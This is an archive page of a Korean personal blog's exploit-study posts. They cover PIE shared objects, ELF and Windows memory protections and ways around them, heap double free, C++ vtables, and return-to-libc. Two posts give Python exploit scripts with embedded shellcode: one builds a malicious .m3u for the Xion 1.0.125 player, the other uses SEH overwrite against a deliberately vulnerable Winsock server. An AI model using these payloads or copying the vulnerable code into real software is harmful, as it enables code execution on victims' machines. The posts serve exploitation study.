Be myself :: 'Exploit' 카테고리의 글 목록

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

shared object executable

Exploit 2015. 6. 27. 00:26

http://stackoverflow.com/questions/1449987/building-a-so-that-is-also-an-executable


/* pie.c */
#include <stdio.h>
int foo()
{
  printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
  return 42; 
}
int main() 
{ 
  printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
  return foo(); 
}


/* main.c */
#include <stdio.h>

extern int foo(void);
int main() 
{ 
  printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
  return foo(); 
}


$ gcc -fPIC -pie -o pie.so pie.c -Wl,-E
$ gcc main.c ./pie.so


$ ./pie.so
in main pie.c:9
in foo pie.c:4
$ ./a.out
in main main.c:6
in foo pie.c:4
$

use pie option

'Exploit' 카테고리의 다른 글

elf의 보호기법 파악  (0) 2014.10.09
메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
스택 보호기법  (2) 2014.09.22
Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
Posted by flack3r
|

elf의 보호기법 파악

Exploit 2014. 10. 9. 12:11

구글링 중에 꾀나 유용한 파일이 발견되서 공유한다.


checksec.sh



'Exploit' 카테고리의 다른 글

shared object executable  (0) 2015.06.27
메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
스택 보호기법  (2) 2014.09.22
Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
Posted by flack3r
|

까먹기전에 정리해 두었다.


메타스플로잇을 통한 쉘코드 작성.pdf


'Exploit' 카테고리의 다른 글

shared object executable  (0) 2015.06.27
elf의 보호기법 파악  (0) 2014.10.09
스택 보호기법  (2) 2014.09.22
Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
Posted by flack3r
|

스택 보호기법

Exploit 2014. 9. 22. 16:16

1 개요

여러가지 스택 보호기법들에 대해 공부했었는데 자꾸 잊어버려서 정리할 필요가 있다고 생각되어 정리하게 되었다.

 

2 NX(데이터 실행 방지)

Nx bit를 활성화 시켜 스택이나 힙영역의 실행권한을 없애서 쉘의 실행으로부터 보호하는 기법이다. 이를 우회하기 위한 방법으론 대표적인 것이 RTL공격(공유라이브러리 이용 ldd로 확인 가능하다.)이다.
NX비트가 활성화 되어 있는 지는 다음과 같이 확인이 가능하다.

2. ASLR

ASLR(Address space layout randomize)는 프로그램이 가상메모리에 mapping 될 때 그 base address의 주소를 랜덤으로 돌려서 공격을 어렵게 하는 방어기법 이다
1. Echo 0 > /proc/sys/kernel/randomize_va_sapce (ASLR 끔)
2. Echo 1 > /proc/sys/kernel/randomize_va_szpce (ASLR ON -> stack randomize)
3. Echo 2 > /proc/sys/kernel/randomize_va_szpace (ASLR ON -> stack, heap, mmap randomize)

2-1 우회방법

여러 가지가 있을 수 있다.

1. Brute Force
특정한 때 쉘이 위치할 주소 값을 하드코딩 한 다음 계속 공격하는 것이다. 구버전 리눅스의 경우 스택의 크기가 크지 않아 가능한 공격이다. NOP를 충분히 넣어주면 빠르게 공격이 가능하다. 하지만 64bit시스템이나 최신버전에선 좀 힘들다..

2. Jmp *esp, call *esp
명령어를 보자 마자 무슨 뜻인지 알 것이다. 잘 모르겠다는 사람은 본인이 전에 올린 블로그 글을 참고하길 바란다. 이 명령어를 text명령어나 공유라이브러리에서 찾는 방법은 gdb에서 [ find /h (메모리 시작주소), (메모리 끝 주소), 명령어 ] 이렇게 찾으면 된다. 혹은 msfelfscan 툴을 이용하면 된다.
이 때 주의할 점은 RTL을 통해 공격하는 것을 막기 위해 라이브러리 마저 Random으로 돌아가는 경우이다.

3. RET Sledding
RET sledding을 하게 되면 주소 값과 상관 없이 스택에 위치한 값들을 이용하기 때문에 공격이 가능하다.

* Bypassing random library

1. Brute Force
구버전의 리눅스의 경우에 공유라이브러리 주소가 아래의 그림과 같이 랜덤으로 변한다 하더라도 같은 주소로 맵핑되는 경우가 많다 보니 Brute force공격이 가능하다.

 

3 Stack guard, stack shield

컴파일러나 링커에 의해 스택을 보호하는 기법이다. RET의 값을 어느 곳에 저장해 두었다가 프로그램이 끝날 때 ret의 값을 비교해 처음과 다르다면 비정상 종료시키는 것이 stack shield이고 SSP에 의해 canary의 값을 넣어주는 것이 stack guard 이다.

*canary의 종류
1. Random canary: /dev/urandom 에 의해 생성되는 랜덤의 값
2. Terminator canary : NULL이나 CR(0xd), LF(0xa), EOF(0xff)와 같은 값을 포함하여 canary의 값을 알더라도 페이로드를 정장적으로 작성할 수 없도록 한다.

우회 방법으로는 memory leak이 일어나는 곳을 찾아서 카나리 값을 직접 알 수 있으면 제일 좋다. (물론 프로그램이 실행 할 때마다 카나리 값이 변하지 않는다는 가정이 있어야 하겠지만)

4 Ascii armor

공유라이브러리의 주소 값의 최상위 비트가 0x00이 위치해 페이로드를 구성 할 수 없도록 하는 기법인데 RET sledding이나 fake ebp로 우회 가능하다. 또는 ascii armor의 보호를 받지 않는 PLT영역의 주소 값을 이용해서 GOT를 overwrite 시켜 공격하는 방법이 있다.

'Exploit' 카테고리의 다른 글

elf의 보호기법 파악  (0) 2014.10.09
메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
Posted by flack3r
|

Double free exploit

Exploit 2014. 9. 17. 15:33

fake chunk 만들 시 PREV_SIZE 와 SIZE값이 과연 무엇을 의미 하는지 이제 약간 감이 잡히는 듯 ? 물론 커널버전마다 약간씩 달라질 것 같긴 한데. 일단 써본다.

exploit-exercises 에서 protostar heap3번 문제가 double free bug 관련 문제다. 이 때, fake chunk를 구성 하는데 만약 [chunk 1 ][chunk 2 ] 이런식으로 되어 있고 여기서 fake chunk를 구성 할 때, 보통 [A * chunk 1 크기][0xfffffc][0xffffffff][fake fd][fake bk] 이런 식으로 페이로드를 구성한다. 근데 이 때 앞의 PREV_SIZE(0xfffffffc) 부분은 fd와 bk의 부분의 오프셋값을 결정하고 size값은 말 그대로 PREV_SUS의 값으로 써 0의 값을 가지는 음수가 위치하게 된다. 

따라서 이 문제에서 답을 얻기 위한 페이로드는 [A * chunk 1 크기][0xfffffc][0xfffffffc]+[AAAA]+[fake fd][fake bk] 이런식으로 A가 dummy 로 들어가는게 핵심인듯.


'Exploit' 카테고리의 다른 글

메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
스택 보호기법  (2) 2014.09.22
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
Posted by flack3r
|

포인트---------

gdb로 까봐서 print system함수로 함수 주소 얻은 다음 system함수에 위치한 /bin/sh문자열 찾는 코드

int main(int argc, char **argv)

{ long shell; shell = 0x4006b498; // <=== system()함수의 주소 while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); }

[mutacker@note myshell]$ gcc -o findsh findsh.c [mutacker@note myshell]$ ./findsh "/bin/sh" is at 0x4012eca9


출처: http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt


참고: http://www.hackerschool.org/HS_Boards/data/Lib_system/framepointer.txt (Fake ebp 관련 공격)


'Exploit' 카테고리의 다른 글

스택 보호기법  (2) 2014.09.22
Double free exploit  (0) 2014.09.17
유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
Posted by flack3r
|

유니코드 기반 seh 익스플로잇

이번엔 페이로드를 입력 했을 때, 유니코드로 데이터가 메모리에 저장 될 때, 어떻게 해야 쉘을 실행 시킬 수 있을지 에 대한 내용을 다루어 보겠다. 이번에 익스플로잇 대상은 Xion 1.0.125이다. 이 프로그램은 http://www.exploit-db.com/exploits/14633/ 에서 다운 받을 수 있다. 또한 실행 환경은 windows xp sp3 영문버전이다.

이 프로그램은 m3u파일을 로드 시킬 때, 버퍼오버플로 취약점을 지닌 어플리케이션이다. 그렇다면, 늘 하던 대로 다음과 같이 파이썬 코드를 짜고 파일을 로드 시킨다.

dumy = "\x41"*5000
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

그 WinDbg로 실행시키면 seh구조체가 다음과 같이 바뀐걸 확인 할 수 있다.

자 이제 seh까지 오프셋 값을 확인 해야 하므로, msf의 pattern_create.rb 툴을 이용해 패턴을 생성한다.

dumy = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af(생략)"
f = open("crash.m3u","w")
f.write(dumy)

print("create complete !")
f.close()

seh구조체에서 앞의 4바이트를 따 확인을 해 보면 다음과 같다.

즉 offset 218만큼 버퍼와 seh구조체가 떨어져 있다. 그렇다면, 이제 일반적인 seh overwrite 공격을 위해 pop pop ret 가젯을 corelan팀이 만든 pvefindaddr이라는 이뮤니티 디버거 플러그인으로 찾는다.


pvefindaddr.py


(결과 화면)

여기서 유니코드로 변환 되었을 때, pop pop ret이 제대로 적용 될 수 있는 주소를 찾으면 다음과 같다.

즉, \x84\x47을 seh handler위치에다 주면, 0x47201E주소로 변환되어 pop pop ret을 수행하게 된다. 자 여기서, 일반적으로 nSeh에 jmp shellcode가 들어가지만, 여기선 유니코드로 데이터가 바뀌게 되므로, nop와 같이 별 의미 없는 명령어들을 넣어서 nSeh, Seh Handler를 넘어 쉘코드로 넘어갈 수 있도록 해보겠다. 그러기 위해 nSeh에 0x61과 0x71을 넣는다. 0x61은 popad 명령어 이고 0x71은 1바이트 명령어가 유니코드로 바뀌어 0x61 0x00 명령어가 실행되지 않는 것을 방지한다. 즉, 0x61 0x71이 유니코드로 바뀌면 0x61 0x00 0x71 0x00인데, 0x00 0x71 0x00은 add byte ptr [eax],dh 를 뜻하기 때문에 레지스터에 조금 조작이 들어갈 뿐 전체적인 프로그램의 흐름은 바뀌지 않는다.

다음과 같이 코딩하고 실행해 보면 쉘코드로 eip의 흐름이 이어지는 것을 확인 할 수 있다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
exception = "A"*5000
f = open("seh.m3u","w")

f.write(dumy+nextseh+seh+exception)

print("create complete !")
f.close()

Windbg로 확인한 결과다.

nSeh 영역을 지나 쉘코드(A로 덮인) 부분으로 가는 것을 볼 수 있다.

이제 유니코드로 인코딩된 쉘을 입력하고 실행시키면 끝이다. 근데 우리는 alpha2와 eax를 이용해 쉘코드를 만들고 실행 할 것이므로, eax를 쉘코드 위치로 가리키게 만들 필요가 있다. 위의 windbg화면을 보면 eax가 12f28c를 가리키므로 이를 이용하면 될 것 같다. 다음과 같이 어셈블리 명령어를 이용한다.

Add eax, 1001400
sub eax, 1001300
push eax
ret
이 때, eax값을 스택에서 확인해 이 부분에 쉘을 넣으면 공격 성공이다.

위에 보면 eax가 결국 12f38c로 설정되므로 eax를 세팅하는 명령어 어셈의 끝부분(12f2a8)에서 쉘코드 가 위치해야하는 주소(12f38c)까지의 오프셋 값은 0x12f38c – 0x12f2aa = 226 이므로, dumy 226을 더 추가하고 다음과 같이 익스플로잇 코드를 짠다.

dumy = "\x41"*218
nextseh = "\x61\x70"
seh = "\x84\x47"
addeax = "\x05\x14\x11"
padding = "\x6e"
subeax = "\x2d\x13\x11"
pusheax = "\x50"
ret = "\xc3"
shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARA"+"LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA"+"BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"+"KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX"+"LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7"+"TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP"+"KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4"+"M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K"+"KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM"+"2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU"+"7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"+"QQ2LRCM0LJA"
dumy2 = "A"*113
exception = "A"*5000
f = open("exploit.m3u","w")

f.write(dumy+nextseh+seh+addeax+padding+subeax+padding+pusheax+padding+ret+dumy2+shell+exception)

print("create complete !")
f.close()

실행 시키면 끝~

'Exploit' 카테고리의 다른 글

Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
Posted by flack3r
|

SEH overwrite 실습

Exploit 2014. 7. 16. 23:59

윈도우 서버 2003 R2버전에서 테스트 했다. 비주얼 스튜디오 2008으로 GS설정을 일단 끄고 컴파일 해보았다. 코드는 다음과 같다.

// vulnerable server.cpp : Defines the entry point for the console application.// 
#include "stdafx.h"
#include "winsock.h"
#include "windows.h"
//load windows socket
#pragma comment(lib, "wsock32.lib")
 
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
 
void pr( char *str)
{
char buf[500]=" ";
strcpy(buf,str);
}
void sError(char *str)
{
printf("Error %s",str);
WSACleanup();
}
 
int _tmain(int argc, _TCHAR* argv[])
{
WORD sockVersion;
WSADATA wsaData;
 
int rVal;
char Message[5000]=" ";
char buf[2000]=" ";
 
u_short LocalPort;
LocalPort = 200;
 
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
 
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
 
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
 
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
 
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
 
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
 
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 ) 
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
 
//Pass the data received to the function pr
pr(Message);
 
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
 
WSACleanup();
 
return SS_OK;
}

Project->property에서 창을 띄우고 다음과 같이 설정한다.

코드를 보면 알겠지만, pr함수가 취약해서 오버플로가 일어난다. Buf를 500개 이상 주면 공격 가능하다.

다음과 같이 파이썬 코드를 짜서 서버를 터뜨려 보자 J ^^

import	socket

HOST ='192.168.110.142' PORT =200 junk ="A"*1000 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print [+]sock setting done" s.connect((HOST,PORT)) print "[+]sock connect done"

												

s.sendall(junk) print "[+]payload attack! " s.close()

GS를 꺼두었기 때문에 스택쿠키가 없어 다음과 같이 eip가 변경된다.

그럼, GS를 키고 컴파일 해보면 어떻게 될까?

필자의 경우 그냥 꺼진다. 스택쿠키를 확인하는 절차가 있어서 그렇다.

그렇다면 스택쿠키를 우회하는 방법은 무엇일까? 앞선 글에서도 설명 했는데, 예외처리 코드를 이용한다. 즉, SEH overwrite 한다. 다음과 같은 코드를 예제로 삼겠다.

#include "tchar.h"

#include "stdio.h" #include "windows.h" #include "stdio.h"   void GetInput(char* str, char* out) {    char buffer[500];     try     { strcpy(buffer,str);      strcpy(out,buffer); printf("Input received : %s\n",buffer);     }     catch (char* strErr)     {         printf("No valid input received ! \n");         printf("Exception : %s\n",strErr);     } }   int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; }

간단하다, GetInput함수에서 buffer에 strcpy하는 부분이 있는데 여기서 오버플로우가 터진다.

일단 GS와 RTC없이 컴파일해 windbg로 600개의 인자를 주고 실행 해 보자.

Eip의 위치까지 가기 전에 예외가 발생하게 되고, 핸들러 부분이 A의 값으로 바뀌었다. 즉, SEH 오버라이트 공격이 가능하다.

이번엔 GS를 키고 컴파일 한 후 A를 600개로 인자로 주고 실행해 보자.

마찬가지로 SEH가 바뀌었다.

여기서 SafeSEH옵션을 주고 컴파일 해서 SafeSEH와 스택쿠키를 우회하는 법을 알아 보자. 근데, windows server 2003 sp2 버전부터 SEH를 보호하는 기법이 업데이트 되었다. 로드된 모듈과 SafeSEH로 컴파일된 모듈, 또 스택을 가리키는 포인터는 SEH핸들러로 올 수 없다는 것이다. 따라서 핸들러로 pop pop ret의 명령어 주소를 가진 모듈을 찾기가 힘들기 때문에, 해법으로 CALL [ebp+30h], jmp [ebp+30h], call [esp+8h], jmp [esp+8h]등이 온다. 근데 아직까지 이해하지 못한 점은 Esp+8h는 원래 예외핸들러의 인자 값으로 next seh를 담은 구조체가 넘어가기 때문에 그렇다고 쳐도, [ebp+30h]는 어째서 가능한지 모르겠다. 물론 Olly로 확인했을 때, 정확하게 다음 next_seh를 가리키지만.. 암튼, 우린 call [ebp+30h]하는 부분을 찾아 셸코드를 작성한다.

0x280b0b에 관련 명령어가 있다. 이걸 이용해 쉘코드를 짜는데, 쉘은 seh가 등록된 스택보다 낮은 주소값에 넣는다. 왜냐하면 높은 주소값에 넣으면, 오버플로우로 인해 쉘이 망가질 위험이 있어서 이다. 자 다음과 같이 코드를 작성한다. 일단 nseh오프셋 값을 찾는 작업을 밟는 것이다.

import os
import struct												
import sys
junk = "A"*508
nseh ="\xcc\xcc\xcc\xcc"													
seh = "AAAA"													
e = os.system('windbg'+' '+'C:\hack\seh.exe'+' '+junk+nseh+seh)

실행 시키면, 다음과 같은 결과가 나온다.

(정확히 입력됬다.)

자 그럼 다음과 같이 익스플로잇을 짜고 실행시킨다.

import os

import struct nop = "\x90"*25 shell = "\xd9\xcb\x31\xc9\xbf\x46\xb7\x8b\x7c\xd9\x74\x24\xf4\xb1" +"\x1e\x5b\x31\x7b\x18\x03\x7b\x18\x83\xc3\x42\x55\x7e\x80" +"\xa2\xdd\x81\x79\x32\x55\xc4\x45\xb9\x15\xc2\xcd\xbc\x0a" +"\x47\x62\xa6\x5f\x07\x5d\xd7\xb4\xf1\x16\xe3\xc1\x03\xc7" +"\x3a\x16\x9a\xbb\xb8\x56\xe9\xc4\x01\x9c\x1f\xca\x43\xca" +"\xd4\xf7\x17\x29\x11\x7d\x72\xba\x46\x59\x7d\x56\x1e\x2a" +"\x71\xe3\x54\x73\x95\xf2\x81\x07\xb9\x7f\x54\xf3\x48\x23" +"\x73\x07\x89\x83\x4a\xf1\x6d\x6a\xc9\x76\x2b\xa2\x9a\xc9" +"\xbf\x49\xec\xd5\x12\xc6\x65\xee\xe5\x21\xf6\x2e\x9f\x81" +"\x91\x5e\xd5\x26\x3d\xf7\x71\xd8\x4b\x09\xd6\xda\xab\x75" +"\xb9\x48\x57\x7a"

junk = "\x90"*(508-len(shell+nop)-5) jmp = "\xe9\x70\xfe\xff\xff" //jmp -400byte nseh = "\xeb\xf9\xff\xff" //jmp -7byte seh = "\x0b\x0b\x28" e = os.system('C:\hack\seh.exe'+nop+shell+junk+jmp+nseh+seh)

그럼 다음과 같이 떠야되는데… 안된다..

몇 시간을 삽질 했지만.. 도저히 이유를 모르겠다. 아마 windows server 2003 한글버전으로 테스트 해서 그런 것 같긴 하다. Windbg로 확인해 본 결과 0x00280b0b로 eip가 바뀌질 않는다. 하.. 이유를 모르겠다. 누가 설명 좀 해주세요 ㅠㅠ

'Exploit' 카테고리의 다른 글

RTL을 이용한 쉘코드 작성  (3) 2014.08.02
유니코드 익스플로잇  (0) 2014.07.21
C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
Posted by flack3r
|

C++에서 VTable

Exploit 2014. 7. 12. 00:29

1 c++ 가상함수

IE취약점을 분석하다(use after free) vtable에 관한 지식이 없어 찾다 보니, C++에서의 가상함수 개념과 비슷하여 알아볼 필요가 있을 것 같았다. 따라서 C++은 어떻게 어셈블리로 표현되는지 간단한 코드를 통해 알아 보겠다. 본 포스팅은 <리버스 엔지니어링 바이블>이라는 책의 예제를 사용하였다.

가상함수란, 상속된 객체의 함수가 있으면서 없는듯하게 행동하는 함수이다. 다시 말하면 A를 상속하는 B라는 클래스가 있고, 똑 같은 test()함수를 가지고 있다. 이 때, A클래스에서 test()함수가 가상함수로 선언되어 있다면, A객체포인터로 B객체를 가리키고 있고, test()함수를 호출한다면 원래 A의 test함수가 호출되어야 하지만, 가상함수로 선언되어 있어 B의 test함수가 호출되는 원리이다. 말로 하면 끝도 없이 어려우니 관련 문서나 책을 참고하기 바란다.

또 클래스에서 함수에 대해 더 설명하자면, 멤버 변수는 객체 내에 존재하지만 멤버 함수는 메모리의 한 공간에 존재하면서 모든 객체가 공유하는 형태이다.

컴파일러는 가상함수를 포함하는 클래스에 대해서, 가상함수 테이블(VTable)을 만들어 준다. 따라서 하나 이상의 가상 함수를 멤버로 지니는 클래서의 객체에는 VTable을 위한 포인터가 멤버로 추가된다.

이건 추측인데 다음과 같은 결론을 내렸다.(아는 사람이 있으면 좀 알려주시길 ㅠㅠ) 아래와 같은 코드가 있다고 해보자.

#include<iostream>
using std::endl;
using std::cout;

class
A
{
public:
    int a;
    int b;
    virtual void fct1(){ cout<<"fct1..."<<endl; }
    virtual void fct2(){ cout<<"fct2..."<<endl; }
};

class
B : public A
{
    int c;
    int d;
public:
    virtual void fct1(){ cout<<"fct1 over..."<<endl; }
    void fct3(){ cout<<"fct3..."<<endl; }
};

int
main()
{
    A* aaa = new B();
    aaa ->fct1();
 
    B* bbb = new B();
    bbb ->fct1();
    return 0;
}

이 때, A* aaa = new B(); 부분의 의미는 곧 A객체를 만들고, VTable에서 겹치는 함수 부분만(오버라이딩 된 부분) VTable에 함수 주소값을 넣어라. 라는 뜻인 것 같다.

 

2 c++ 코드 분석

직접 어셈블리어로 분석 해 보자.

기본 코드는 다음과 같다.

#include "windows.h"										

#include "stdio.h" #include "tchar.h" class Employee {     public :         int number;         char name[128];         long pay;         void ShowData();         void Test(); }; void Employee::ShowData() {    printf("number: %d\n", number);    printf("name: %s\n", name);    printf("pay: %d\n", pay);      Test();    return; }   void Employee::Test() {     printf("Test fuction\n");     return; }   //Employee kang; int main(int argc, char* argv[]) {     Employee kang;     printf("size: %X\n", sizeof(Employee));          kang.number = 0x1111;     _tcscpy(kang.name, _T("강병탁"));     kang.pay =0x100;     kang.ShowData();     return 0; }

아래는 위 코드를 컴파일 하고 IDA로 열어본 화면이다.

여기서 ecx가 클래스 멤버의 제일 첫 주소를 나타내고, 이 주소 값을 기준으로 클래스 멤버에 접근한다. Main 부분을 확인해 보면 확실해 진다.

결론은 Ebp-88부분부터 ebp-4까지 Employee클래스의 멤버 변수들의 공간이었다. 그리고 이 멤버 변수에 접근을 ecx(C++에서의 this포인터)가 담당하였다.

이제 가상함수가 선언된 클래스를 분석해 보자. VTable은 생성자가 실행될 때, 설정된다.

따라서 그림상으로 나타내면 다음과 같다.

'Exploit' 카테고리의 다른 글

유니코드 익스플로잇  (0) 2014.07.21
SEH overwrite 실습  (0) 2014.07.16
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
Posted by flack3r
|

여러 보호기법

Exploit 2014. 7. 11. 20:21

여러가지 보호 기법

윈도우에서 익스플로잇을 막기 위한 여러 가지 보호 기법들이 존재한다. 그 중 SafeSEH와 DEP, stack cookie 에 관해 살펴보고 관련 우회기법을 다룬다.

1 스택쿠키 (/GS보호)
리눅스에서 스택가드(canary)의 개념과 일맥상통한다. [스택쿠키][ebp][eip]이런 식으로 존재하며 함수가 리턴하기 전에 스택쿠키가 변조되었는지 확인하는 함수를 호출한다.
GS보호의 다른 기능은 지역변수들을 재배치한다. 그래서 오버플로가 발생하더라도 지역변수들은 변조되지 않는다.

우회방법: 카나리가 변조되어서 프로그램이 종료되지 않는가? 그렇다면 스택쿠키의 값을 알아내어 그 값을 바뀌게만 하지 않으면 된다. 또는 예외핸들러 구조체를 제어할 수 있다면 SEH오버플로를 일으켜서 스택쿠키가 변조되었는지 프로그램이 확인하기 전에 예외를 일으키면, 우회가 가능하다. 이 부분을 막기 위해 SafeSEH나 DEP같은 보호기법들이 나오게 된다.

2. SafeSEH
SafeSEH옵션으로 컴파일된 모듈은 불행히도 SEH핸들러로 사용이 불가능하다. 다만, SEH핸들러 부분의 주소값이 스택영역에 있지 않고, SafeSEH옵션이 안된 모듈을 사용한다면 가젯으로 이용되기에 충분하다. 즉, 외부(OS)DLL을 이용하는 것이다.

3. SEHOP
좀더 찾아 볼 것.

4. DEP
스택영역에서 실행권한을 없애서 쉘코드를 스택에서 직접 실행할 수가 없게 되었다. 따라서 로드된 모듈들의 가젯들을 모아 쉘코드를 실행시키는 효과를 내서 우회한다.

'Exploit' 카테고리의 다른 글

SEH overwrite 실습  (0) 2014.07.16
C++에서 VTable  (0) 2014.07.12
SEH overwriting  (0) 2014.07.10
윈도우 BOF  (2) 2014.05.28
간단한 Shellcode 만들기  (0) 2014.05.05
Posted by flack3r
|